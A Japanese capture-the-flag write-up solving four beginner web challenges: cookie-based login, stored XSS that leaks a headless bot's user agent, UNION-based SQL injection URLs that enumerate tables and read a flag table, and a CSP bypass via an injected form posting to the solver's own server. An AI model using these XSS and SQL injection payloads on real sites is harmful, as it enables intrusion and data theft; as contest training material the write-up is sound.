1. [Warmup] Simple Auth
概要
ログインフォームと php のコードが与えられる
ポイント
- Cookie
解法
- フォームに admin と入力して submit
- 同じページに GET でアクセス
php のコードを読み解く。フラグを表示するためには cookie に name: admin
という情報が記録された状態で GET でアクセス(=2)すれば良い。
cookie に name: admin
をセットするためには、1 の動作を行えばいい。
2. Gimme your comment
概要
お問い合わせ投稿フォームと自動応答スクリプトが与えられる。自動応答スクリプトが puppeteer で書かれていて、その user agent がフラグとなっている。
const puppeteer = require("puppeteer");
let origin = process.env.origin;
let flag = process.env.flag;
let post_id = process.env.post_id;
(async () => {
const opt = {
executablePath: 'google-chrome-stable',
headless: true,
args: [
"--no-sandbox",
"--disable-background-networking",
"--disable-default-apps",
"--disable-extensions",
"--disable-gpu",
"--disable-sync",
"--disable-translate",
"--hide-scrollbars",
"--metrics-recording-only",
"--mute-audio",
"--no-first-run",
"--safebrowsing-disable-auto-update",
`--user-agent=${flag}`
],
};
const browser = await puppeteer.launch(opt);
const page = await browser.newPage();
await page.goto(`${origin}/posts/${post_id}`, {waitUntil: 'domcontentloaded'});
await page.type('input[name="comment_content"]', '投稿ありがとうございます。大変参考になりました。');
await page.click('button[type=submit]');
await page.waitFor(1000);
await browser.close();
})();
ポイント
- XSS
解法
お問い合わせフォームの表示はescapeされていないので、任意のhtmlタグを埋め込める。方針は2通り考えられる。
- img タグなどを埋め込んで、自分が用意したサーバに puppeteer からリクエストを発生させる。自サーバのログから user agent が分かる。
- script タグを埋め込んで javascript を実行させる。javascript を使って、お問い合わせの回答に user agent の内容を吐かせる。
今回は、自サーバを用意するのが面倒だったので、2の方針にした。
以下をお問い合わせフォームに書き込めばいい。
<script>
$(function () {
var ua = navigator.userAgent;
$('button[type=submit]').click(function (e) {
$('input[name="comment_content"]').val(ua);
});
});
</script>
3. SECCON Goods
概要
商品一覧ページが与えられる。
ポイント
- SQLインジェクション
解法
結論から言うと http://goods.chall.beginners.seccon.jp/items.php?minstock=0 UNION SELECT flag,2,3,4,5 FROM flag--
にアクセスすればいい。
http://goods.chall.beginners.seccon.jp/js/init.js を読むと、商品一覧ページの商品は、 javascript によってサーバから取得されている事がわかる。
vm = new Vue({
el: '#view_root',
data: {
columns: {name:"商品名", description:"説明", price:"価格", stock:"在庫"},
items: [{name: "Now loading", description: "Now loading", price: "0 YEN", stock: "0"}],
},
mounted(){
axios.get('/items.php?minstock=0')
.then(function (response) {
console.log(vm.$data);
vm.$data.items = response.data;
})
.catch(function (error) {
console.log(error);
});
}
})
/items.php?minstock=0
の minstock=0
の部分を通してSQLインジェクションができる。
http://goods.chall.beginners.seccon.jp/items.php?minstock=0 UNION SELECT table_name,2,3,4,5 FROM information_schema.tables--
にアクセスするとテーブル一覧が得られ、 flag
というテーブルがあることが分かる。次に、 http://goods.chall.beginners.seccon.jp/items.php?minstock=0 UNION SELECT flag,2,3,4,5 FROM flag--
にアクセスして flag
テーブルの falg
カラムを出力すると、flagが得られる。
4. Gimme your comment REVENGE
概要
Content-Security-Policy: default-src 'self'
が設定されているのが2問目との違い。
ポイント
- XSS
解法
Content-Security-Policy: default-src 'self'
は、
サイト管理者が、すべてのコンテンツをサイト自身のドメイン (サブドメインを除く) から取得させたい場合
に設定する。XSSを防ぐ効果がある。
インラインスクリプトや eval() の実行を防ぐには default-src や script-src を指定する必要があります。
default-src
設定されているため、インラインの script タグの中身が実行されない。
偽のフォームをお問い合わせフォームに投稿し、自分のサーバへのリクエストを発生させることで、 user agent を得ることができる。
<form method="get" action="自分のサーバのIPアドレス">
<button type="submit" class="btn btn-primary mb-2">コメント</button>
</form>